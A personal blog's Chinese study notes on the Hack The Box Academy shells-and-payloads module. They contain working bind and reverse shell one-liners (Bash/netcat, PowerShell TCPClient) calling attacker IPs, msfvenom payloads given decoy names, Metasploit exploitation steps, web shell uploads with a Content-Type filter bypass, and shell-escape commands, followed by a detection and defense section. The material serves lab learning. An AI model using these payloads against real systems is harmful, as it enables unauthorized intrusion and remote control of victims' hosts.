空想网安の乌托邦
首页小说读书项目归档照片墙音乐说说杂谈关于
封面

HTB Academy:shell和payload

写作时间:2026-09-20 12:36:16
# 网安
# HTB Academy

来源:Hack The Box Academy Module 115。本文按章节结构重新归纳,保留课程中出现的命令、工具和演示图片,并将其整理成便于复习和实操的笔记。

实操范围:仅在 HTB Academy/Pwnbox、授权实验室或明确获准的测试环境中使用。

1. 学习主线

本章围绕一条完整的攻击链展开:

  1. 识别目标系统、服务、Shell 和解释器。
  2. 根据系统类型和网络可达性选择 Bind Shell、Reverse Shell 或 Web Shell。
  3. 手工构造或使用 Metasploit/MSFvenom 生成有效载荷。
  4. 通过漏洞、文件上传或用户执行等方式投递载荷。
  5. 获得会话后确认 Shell 类型、权限和交互能力。
  6. 在评估环境中完成 Windows、Linux 和 Web 应用场景。
  7. 从防守侧观察文件上传、命令执行、异常网络会话和明文通信。

2. 先建立概念:Shell 与 Payload

Shell 是什么

Shell 是向操作系统输入命令并读取文本输出的界面,例如 Bash、Zsh、cmd 和 PowerShell。在渗透测试语境中,“caught a shell”“popped a shell”通常表示已经通过漏洞或安全绕过获得了目标主机的交互式访问。

Shell 的价值主要体现在:

  • 可以直接操作操作系统、文件系统和系统命令。
  • 便于使用攻击工具、收集和存储数据、记录过程。
  • CLI 通常比 VNC/RDP 图形访问更轻量,也更容易自动化。
  • Web Shell 则是通过浏览器调用服务器端脚本,间接执行底层系统命令。

Payload 是什么

在本章中,Payload 指为利用漏洞、执行命令或建立 Shell 会话而设计的代码或命令。Payload 的选择取决于:

  • 目标操作系统和架构;
  • 目标上可用的 Shell、解释器和编程语言;
  • 目标服务和漏洞类型;
  • 攻击机到目标的网络方向和可达性;
  • 防火墙、NAT、杀毒和应用上传限制。

3. CAT5 Security 评估准备

课程情境是为 Inlanefreight 执行授权测试,要求能够:

  • 获取 Linux Bind Shell 和 Windows Reverse Shell;
  • 从 Metasploit 启动 Payload;
  • 根据侦察结果在 Exploit-DB/Metasploit 中寻找并构造 Payload;
  • 识别常见 Web 应用和其对应语言,并从浏览器获得 Web Shell;
  • 通过进程、环境变量等信息判断当前 Shell;
  • 根据目标信息选择、投递 Payload 并获得会话。

这里的核心方法是:先枚举,再判断系统与服务,最后选择与目标条件匹配的 Shell/载荷。

4. Shell 的组成与识别

4.1 三个组成部分

一次命令行交互通常包含:

  1. 操作系统;
  2. 终端模拟器;
  3. 命令语言解释器。

课程列举的终端模拟器包括 Windows Terminal、cmder、PuTTY、kitty、Alacritty、xterm、GNOME Terminal、MATE Terminal、Konsole、macOS Terminal 和 iTerm2。终端模拟器本身不等于 Shell,终端可以配置为使用不同的解释器。

4.2 Linux 中识别解释器

ps

如果进程列表出现 ​bash​,说明当前会话由 Bash 解释。也可以查看环境变量:

env

典型结果:

SHELL=/bin/bash

4.3 Bash 与 PowerShell

同一台机器上可以使用不同解释器。实际操作时应先确定当前解释器,再选择对应语法和脚本。命令不被识别时,先判断是命令本身不存在,还是 Shell 语法不匹配。

​

 

‍终端中的命令未找到示例

​

​

 

‍PowerShell 终端示例

​

5. Bind Shell:目标监听,攻击机连接

5.1 工作方式

Bind Shell 由目标主机启动监听器,攻击机主动连接目标 IP 和端口。它要求目标能接受入站连接,因此经常受到边界防火墙、NAT、操作系统防火墙和网络位置限制。

​

 

‍Bind Shell 连接方向

​

5.2 前置条件

  • 已经通过 SSH 或其他方式进入目标并能启动监听器;
  • 目标监听端口在网络上可达;
  • 攻击机已安装 Netcat,Pwnbox 中可直接使用 ​nc​;
  • IP、端口和防火墙规则允许连接;
  • 必须在授权的实验网络中验证。

5.3 先用 Netcat 验证 TCP 通道

目标端:

nc -lvnp 7777

攻击机端:

nc -nv 10.129.41.200 7777

成功时,攻击机显示 ​succeeded!​,目标端显示 ​Connection from ... received!​。此时只是文本 TCP 会话,还不是操作系统 Shell。

5.4 建立基础 Bash Bind Shell

目标端:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f

攻击机端:

nc -nv 10.129.41.200 7777

命令含义:使用 FIFO 连接输入输出,启动交互式 Bash,把 Shell 接到 Netcat TCP 会话上。命令、Shell 路径和监听参数需要按目标操作系统调整。

5.5 适用性和限制

Bind Shell 适合目标内部网络可达且能启动监听器的场景,但入站连接更容易被防火墙发现和阻断。课程随后使用 Reverse Shell 处理这一限制。

6. Reverse Shell:目标回连攻击机

6.1 工作方式

Reverse Shell 中攻击机先监听,目标作为客户端向攻击机回连。它可以利用目标允许的出站连接,在边界网络限制入站连接时更实用。

攻击机监听示例:

sudo nc -lvnp 443

课程强调,实际建立连接时仍需处理 IP、端口、NAT、操作系统防火墙以及目标上可执行的解释器。反向 Shell 速查表可用于查找不同系统的命令形式,但应先理解命令作用并按目标环境修改。

6.2 与 Bind Shell 的选择

条件 更匹配的方式 目标能监听且攻击机可直接访问目标端口 Bind Shell 目标不易接受入站连接,但允许对外连接 Reverse Shell 只能通过 Web 上传/执行脚本 Web Shell

7. Payload 单行命令拆解

7.1 Linux Netcat/Bash 单行命令

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.12 7777 > /tmp/f

分段理解:

  • ​rm -f /tmp/f​:删除旧 FIFO,避免残留文件影响执行。
  • ​mkfifo /tmp/f​:建立命名管道。
  • ​cat /tmp/f |​:把管道内容送入后续命令。
  • ​/bin/bash -i 2>&1 |​:启动交互式 Bash,并把标准错误合并到标准输出。
  • ​nc 10.10.14.12 7777 > /tmp/f​:连接攻击机监听器,并把返回数据写入管道。

7.2 PowerShell 单行命令

课程示例的核心结构如下:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

理解重点:

  • ​-nop​:不加载配置文件;​-c​:执行后面的命令块。
  • ​TCPClient​:连接指定 IP 和端口。
  • ​GetStream()​:取得网络通信流。
  • 字节数组与 ASCII 编码:在字节流和文本命令之间转换。
  • ​iex​:执行接收到的命令并把结果写回网络流。
  • ​pwd​:把当前目录加入 PowerShell 提示符。
  • ​Close()​:连接结束时释放 TCP 客户端。

课程还展示了 Nishang 的 ​Invoke-PowerShellTcp​,可通过 ​-Reverse -IPAddress ... -Port ...​ 反向连接,或使用 ​-Bind -Port ...​ 监听。

8. Metasploit:自动化漏洞利用与会话建立

8.1 首次使用和前置条件

  • Pwnbox 已内置 Metasploit Community Edition;
  • 使用 ​sudo​ 启动 ​msfconsole​;
  • 先有 Nmap 等侦察结果,再选择模块;
  • 需要目标服务、目标地址、攻击机回连地址,某些模块还需要有效账号密码;
  • ​LHOST​ 应使用攻击机可被目标访问的地址,课程提示可使用 VPN 隧道 IP 或接口 ID。

启动:

sudo msfconsole

8.2 课程中的 SMB 示例流程

先枚举目标:

nmap -sC -sV -Pn 10.129.164.25

发现 SMB 后,在 Metasploit 中搜索:

search smb
use 56
options

课程用 ​exploit/windows/smb/psexec​ 说明模块命名:​exploit​ 是模块类型,​windows​ 是平台,​smb​ 是攻击服务,​psexec​ 是投递方式。设置必要选项:

set RHOSTS <target>
set SHARE ADMIN$
set SMBPass <password>
set SMBUser <username>
set LHOST <attack-ip>
exploit

成功判断:输出出现 ​Sending stage​、​Meterpreter session 1 opened​ 和 ​meterpreter >​。需要原生 Windows 命令时:

meterpreter > shell

8.3 失败判断

  • ​RHOSTS​、​LHOST​ 或端口错误:无法连接或无法回连;
  • SMB 服务未开放:模块无法建立攻击通道;
  • 凭据或共享目录不匹配:认证/上传失败;
  • 目标防火墙或杀毒拦截:Payload 可能执行失败;
  • 模块不存在:先更新 Metasploit,或按课程后文加载对应 Ruby 模块。

9. MSFvenom:生成 Payload

9.1 列出可用 Payload

msfvenom -l payloads

命名通常体现平台、架构、Shell 类型和通信方式,例如 ​linux/x64/shell_reverse_tcp​。描述中还会标明 staged 或 stageless。

9.2 Staged 与 Stageless

  • Staged:先发送较小的阶段程序,再从攻击机取得剩余载荷。体积较小,但依赖后续网络通信和稳定的连接。
  • Stageless:完整载荷一次发送。网络带宽和延迟较差时可能更稳定,社会工程投递时也可能减少后续流量。
  • 命名上,​windows/meterpreter/reverse_tcp​ 表示分阶段形式,​windows/meterpreter_reverse_tcp​ 表示无阶段形式。

9.3 Linux 无阶段 Payload

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf

参数框架:

  • ​-p​:指定 Payload;
  • ​linux/x64/shell_reverse_tcp​:Linux x64 无阶段 TCP Reverse Shell;
  • ​LHOST/LPORT​:目标回连地址和端口;
  • ​-f elf​:生成 ELF 格式;
  • ​> createbackup.elf​:写入文件。

攻击机监听:

sudo nc -lvnp 443

目标执行文件后,监听器应显示 ​Connection received​,随后可执行 ​env​、​pwd​、​ls​ 等命令确认会话。

​

 

‍Linux Payload 文件示例

​

9.4 Windows 无阶段 Payload

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > BonusCompensationPlanpdf.exe

课程指出,未进行其他编码或加密时,Windows Defender 可能检测该文件;目标用户执行文件后,攻击机仍用 Netcat 监听回连。

​

 

‍Windows Payload 文件示例

​

10. Windows 目标:枚举、选择漏洞与投递类型

10.1 系统识别

通过 TTL、Nmap OS 识别和服务 Banner 综合判断,不依赖单一信号:

ping 192.168.86.39
sudo nmap -v -O 192.168.86.39
sudo nmap -v 192.168.86.39 --script banner.nse

Nmap 输出中的 ​OS CPE​、​OS details​、135/139/445 等端口、SMB Banner 可帮助判断 Windows 和服务版本。若结果较少,课程建议尝试 ​-A​ 与 ​-Pn​,同时注意防火墙可能影响判断。

10.2 常见 Windows Payload 载体

  • DLL:可被多个程序加载,课程提到 DLL 注入或劫持可用于提权/UAC 绕过;
  • Batch:​.bat​ 脚本,自动化执行命令;
  • VBS:可用于脚本和社会工程场景;
  • MSI:Windows Installer 数据库,可用 ​msiexec​ 执行;
  • PowerShell:既是 Shell 也是脚本语言,适合命令执行和脚本载荷。

10.3 课程列出的资源/工具

课程提到 MSFvenom/Metasploit、Payloads All The Things、Mythic C2、Nishang、Darkarmour,以及用于传输和执行的 Impacket、SMB、FTP、TFTP、HTTP/S 等。实际使用前仍要根据目标服务和授权范围选择方法。

10.4 Windows 实战决策链

  1. Nmap 枚举端口、服务、版本和 OS。
  2. 根据开放服务判断潜在攻击面。
  3. 使用 Metasploit 搜索对应模块,例如 ​search eternal​。
  4. 先运行扫描/检查模块确认目标条件。
  5. 设置 ​RHOSTS​、​LHOST​、凭据、共享和 Payload 选项。
  6. 执行后检查 Meterpreter 会话,再通过 ​shell​ 进入系统 Shell。

11. Linux/Unix 目标:从 Web 应用获得 Shell

11.1 先回答五个问题

  • Linux 发行版是什么?
  • 可用的 Shell 和编程语言有哪些?
  • 系统在网络中的用途是什么?
  • 运行了什么应用?
  • 是否存在已知漏洞?

11.2 课程中的 rConfig 流程

枚举:

nmap -sC -sV 10.129.201.101

课程示例通过 21/22/80/443/111/3306 判断目标可能是 CentOS Web 服务器,随后发现 rConfig 3.9.6。可以在 Metasploit 中搜索:

search rconfig

如果本地 Metasploit 没有需要的模块,课程建议:

locate exploits

查找 ​/usr/share/metasploit-framework/modules/exploits​,并把对应 ​.rb​ 模块放入匹配的子目录;模块代码是 Ruby。课程也提示保持 Metasploit 更新。

11.3 执行模块并切换系统 Shell

use exploit/linux/http/rconfig_vendors_auth_file_upload_rce
exploit

成功输出应包含:检测到易受攻击版本、登录成功、上传 PHP Payload、触发 Payload、删除临时文件以及 ​Meterpreter session opened​。

进入系统 Shell:

meterpreter > shell

如果得到的是无 TTY Shell,可先确认 Python:

which python

课程给出的 TTY 生成命令:

python -c 'import pty; pty.spawn("/bin/sh")'

成功后应出现类似 ​sh-4.2$​ 提示符。

​

 

‍rConfig 登录页面

​

​

 

‍rConfig 漏洞检索示例

​

12. 生成更稳定的交互式 Shell

当 Python 不存在或 Shell 功能受限时,课程列出了多种可尝试的解释器逃逸/交互方式。前置条件是目标上已经存在对应程序,并且当前账号有权执行。

/bin/sh -i
perl -e 'exec "/bin/sh";'
perl -e 'exec "/bin/sh";'
ruby -e 'exec "/bin/sh"'
lua -e "os.execute('/bin/sh')"
awk 'BEGIN {system("/bin/sh")}'
find . -exec /bin/sh \; -quit
vim -c ':!/bin/sh'

Vim 中也可:

vim
:set shell=/bin/sh
:shell

检查文件和二进制权限:

ls -la <path/to/fileorbinary>

检查当前账号的 sudo 权限:

sudo -l

课程特别提醒,​sudo -l​ 需要较稳定、可交互的 Shell;不完整的会话可能无法得到可靠输出。

13. Web Shell 基础

Web Shell 是通过浏览器与 Web 服务器底层操作系统交互的 Shell。常见入口包括:文件上传、命令注入、SQL 注入、RFI/LFI、Tomcat/Axis2/WebLogic 的 WAR 部署、错误配置的 FTP 上传到 Web 根目录等。

Web Shell 的特点:

  • 依赖 Web 应用漏洞或不安全的文件上传;
  • Payload 常用 PHP、JSP 或 ASP.NET;
  • 浏览器可以直接发出命令并读取输出;
  • 交互性和稳定性通常弱于 Reverse Shell;
  • Web 应用可能自动删除上传文件,所以常被用作初始入口,再升级为更稳定的 Shell。

14. Laudanum Web Shell

14.1 首次使用与环境配置

Laudanum 在 Parrot OS 和 Kali 中通常位于:

/usr/share/laudanum

其他发行版需要先取得对应仓库/文件。使用前阅读文件中的注释和说明,并根据目标语言选择 ​asp​、​aspx​、​jsp​ 或 ​php​ 版本。

课程演示前需要在攻击机或 Pwnbox 的 ​/etc/hosts​ 添加:

<target ip> status.inlanefreight.local

14.2 ASPX 示例流程

复制文件并修改:

cp /usr/share/laudanum/aspx/shell.aspx /home/tester/demo.aspx

把攻击机 IP 添加到 ​allowedIps​ 变量中,然后通过目标应用的上传功能上传。上传成功后,根据页面显示的保存路径访问文件,例如:

status.inlanefreight.local/files/demo.aspx

在 Web Shell 中执行课程示例命令 ​systeminfo​,观察浏览器中的 STDOUT 输出。

​

 

‍修改 Laudanum Shell

​

​

 

‍上传 Laudanum 文件

​

​

 

‍访问 Laudanum Shell

​

​

 

‍Laudanum 执行成功

​

15. Antak Web Shell

Antak 是 Nishang 中基于 ASP.NET/PowerShell 的 Web Shell,适用于 Windows Web 服务器。

15.1 文件位置和准备

ls /usr/share/nishang/Antak-WebShell
cp /usr/share/nishang/Antak-WebShell/antak.aspx /home/administrator/Upload.aspx

编辑配置文件第 14 行附近的用户名和密码,上传前建议阅读源码并移除可能暴露意图的 ASCII 艺术字和注释。

课程演示仍使用:

<target ip> status.inlanefreight.local

上传 ​Upload.aspx​ 后访问 ​/files/upload.aspx​,输入设置好的凭据。成功后可以执行 PowerShell 命令、上传/下载文件、编码并执行脚本;输入 ​help​ 查看可用功能。

​

 

‍Antak 修改凭据

​

​

 

‍Antak 登录提示

​

​

 

‍Antak Web Shell

​

​

 

‍Antak 命令执行

​

16. PHP Web Shell 与上传限制

16.1 环境识别

如果目标存在 ​login.php​、PHP Banner 或 PHP Web 应用,可以考虑 PHP Web Shell。课程在 rConfig 3.9.6 中使用 WhiteWinterWolf PHP Web Shell,并通过 Vendor Logo 上传点演示。

16.2 Burp Suite 代理配置

前置条件:攻击机已有 PHP Shell 文件、浏览器和 Burp Suite。浏览器代理配置为:

IP: 127.0.0.1
Port: 8080

Burp 充当浏览器与目标之间的 Web 代理。上传文件时,拦截请求,找到包含文件上传的 POST 请求。

16.3 绕过课程示例中的文件类型检查

把上传请求中的:

Content-Type: application/x-php

改为:

Content-Type: image/gif

然后转发请求,返回浏览器查看上传结果。课程示例中上传成功后访问:

/images/vendor/connect.php

成功时可在浏览器中执行底层 Linux 命令,但这是非交互式 Web Shell。

​

 

‍Burp 拦截上传请求

​

​

 

‍成功添加 Vendor

​

​

 

‍PHP Web Shell 成功

​

16.4 Web Shell 注意事项

  • Web 应用可能定时删除文件;
  • 文件系统浏览、上传下载和命令链可能受限;
  • 非交互式会话容易不稳定;
  • 上传文件会留下较明显的取证痕迹;
  • 评估结束应按授权范围清理 Payload,并记录文件名、位置、哈希和测试结果。

17. 技能评估:The Live Engagement

场景

CAT5 已为 Inlanefreight 网络建立立足点。任务是查看侦察结果、验证信息、研究可利用面,并选择漏洞、Payload 和 Shell 控制目标。目标只能通过提供的立足点访问,直接从其他位置访问可能失败。

目标能力

  • 从 Windows 主机或服务器取得交互式 Shell;
  • 从 Linux 主机或服务器取得交互式 Shell;
  • 从 Web 应用取得交互式 Shell;
  • 识别当前用户在受害主机上得到的 Shell 环境。

连接立足点

课程要求使用 VPN 或 Pwnbox,并通过 XFreeRDP 连接图形化立足点:

xfreerdp /v:<target IP> /u:htb-student /p:HTB_@cademy_stdnt!

目标环境启动后等待 1–2 分钟。目标主机位于内部 ​172.16.0.0/23​ 网络,监听器的 IP 应选择立足点在内部网络可达的地址。

​

 

‍XFreeRDP 登录

​

​

 

‍技能评估网络关系

​

推荐执行顺序:

  1. 从立足点枚举目标和服务。
  2. 分别判断 Windows、Linux、Web 应用路径。
  3. 根据网络方向选择 Bind、Reverse 或 Web Shell。
  4. 获得会话后用 ​ps​、​env​、​whoami​ 等课程中出现的方法确认 Shell 与账号。
  5. 记录有效载荷、文件位置、命令、会话类型和清理结果。

18. 检测与防御

18.1 MITRE ATT&CK 视角

课程把 Shells & Payloads 与三个重点阶段联系起来:

  • Initial Access:通过公开 Web 服务、错误配置 SMB、认证协议或公开漏洞取得立足点;
  • Execution:执行上传的文件、Shell 命令、PowerShell、漏洞 Payload 或 Web 命令;
  • Command and Control:建立交互式会话和持续通信,可以是明文 Netcat,也可能使用 HTTP/S、DNS、NTP、代理或 VPN。

​

 

‍MITRE ATT&CK Enterprise Framework

​

18.2 需要重点观察的事件

  • Web 应用文件上传,特别是脚本、可执行文件和异常扩展名;
  • 普通用户执行 Bash、cmd、PowerShell、​whoami​ 等异常命令;
  • 非常规 SMB 连接和端到端主机访问;
  • 非标准端口上的周期性回连,例如课程提到的 4444;
  • 短时间内大量 GET/POST 请求;
  • NetFlow 中的异常通信、Top Talker 和不符合基线的访问模式;
  • 命令行日志、PowerShell 日志、应用日志、网络监控、Firewall 日志和 SIEM 告警。

18.3 明文通信的风险

Netcat Bind/Reverse Shell 的流量没有加密。抓包后可能直接看到传输的命令和输出,包括通过命令创建用户等持久化操作。

​

 

‍Wireshark 捕获 TCP 流量

​

​

 

‍跟踪可疑命令流

​

18.4 防护方向

  • 对公网应用进行沙箱隔离;
  • 实施最小权限,限制普通用户和服务账号权限;
  • 对主机进行加固,并把 Web/VPN 等边界主机放入 DMZ 或隔离网段;
  • 配置严格的入站和出站防火墙规则,考虑 NAT 对 Shell 回连的影响;
  • 保持 Windows Defender、Defender Firewall 和所有配置文件启用;
  • 建立补丁管理策略;
  • 对服务器、工作站、NAS、打印机、摄像头等终端启用监控和告警;
  • 维护网络拓扑、流量基线和设备可见性;
  • 通过深度包检测发现未加密 Payload 通信。

19. 工具与命令速查

工具/命令 本章用途 前置条件 终端模拟器 运行命令和连接目标 已打开终端,确认解释器 ​ps​ / ​env​ 识别当前 Shell Linux Shell 会话 ​nc​ 文本 TCP、Bind/Reverse Shell、监听器 IP/端口可达,防火墙允许 ​nmap​ 枚举服务、版本、OS、Banner 目标在授权范围内可扫描 ​msfconsole​ 搜索模块、配置选项、投递 Payload Metasploit/Pwnbox,常需 ​sudo​ ​msfvenom​ 列出和生成 Payload Metasploit 工具链,确认平台/架构/格式 Meterpreter 管理会话并切换系统 Shell Exploit 成功建立会话 Python ​pty​ 把非 TTY Shell 转为交互式 Shell 目标存在 Python Laudanum ASP/ASPX/JSP/PHP Web Shell 对应文件语言、上传点、hosts 映射 Antak/Nishang PowerShell/ASPX Web Shell Windows ASP.NET,设置访问凭据 Burp Suite 拦截并修改上传请求 浏览器代理 ​127.0.0.1:8080​ XFreeRDP 连接技能评估立足点 目标 IP、课程账号、VPN/Pwnbox

20. 故障排查思路

  1. 先确认目标 IP、攻击机 IP、监听端口和网络方向。
  2. 确认当前 Shell 是 Bash、PowerShell、cmd 还是非 TTY Shell。
  3. 先用最简单的 ​nc​ 文本连接验证 TCP,再引入完整 Payload。
  4. 检查监听器是否在正确接口、正确端口上启动。
  5. 检查防火墙、NAT、SMB/HTTP 服务和上传路径。
  6. Metasploit 中先 ​options​,逐项确认必填参数;成功判断看 ​session opened​。
  7. Web Shell 无响应时,确认文件实际保存路径、扩展名、Web 根目录和应用是否会自动清理文件。
  8. Shell 没有提示符时,检查 ​which python​,再尝试课程中给出的 TTY 方法。

21. 最终复习框架

记忆本章时可以按下面的判断链快速回忆:

枚举目标
  ├─ Windows:OS/SMB/RDP/IIS → Metasploit 或 Windows Payload
  ├─ Linux:SSH/HTTP/应用版本 → Exploit/Metasploit → TTY
  └─ Web:上传点/脚本语言 → Laudanum、Antak 或 PHP Web Shell

网络方向
  ├─ 目标监听、攻击机连接 → Bind Shell
  ├─ 攻击机监听、目标回连 → Reverse Shell
  └─ 浏览器调用脚本 → Web Shell

会话确认
  ├─ 看提示符与解释器
  ├─ ps / env / whoami
  ├─ 权限与 sudo -l
  └─ 记录 Payload、文件、网络和清理结果

‍

avatar

Zybaxy918039

书本,学术,网安之间反复横跳的业余爱好者,目前在自学计算机网络和AI相关知识

RECOMMENDED

HTB Academy:使用 Nmap 进行网络枚举

2026-09-19 22:17:09

HTB Academy:信息收集-网络版(Web Reconnaissance)学习笔记

2026-09-19 22:22:34

HTB Academy:Footprinting(足迹收集)

2026-09-20 12:23:20

Table of Contents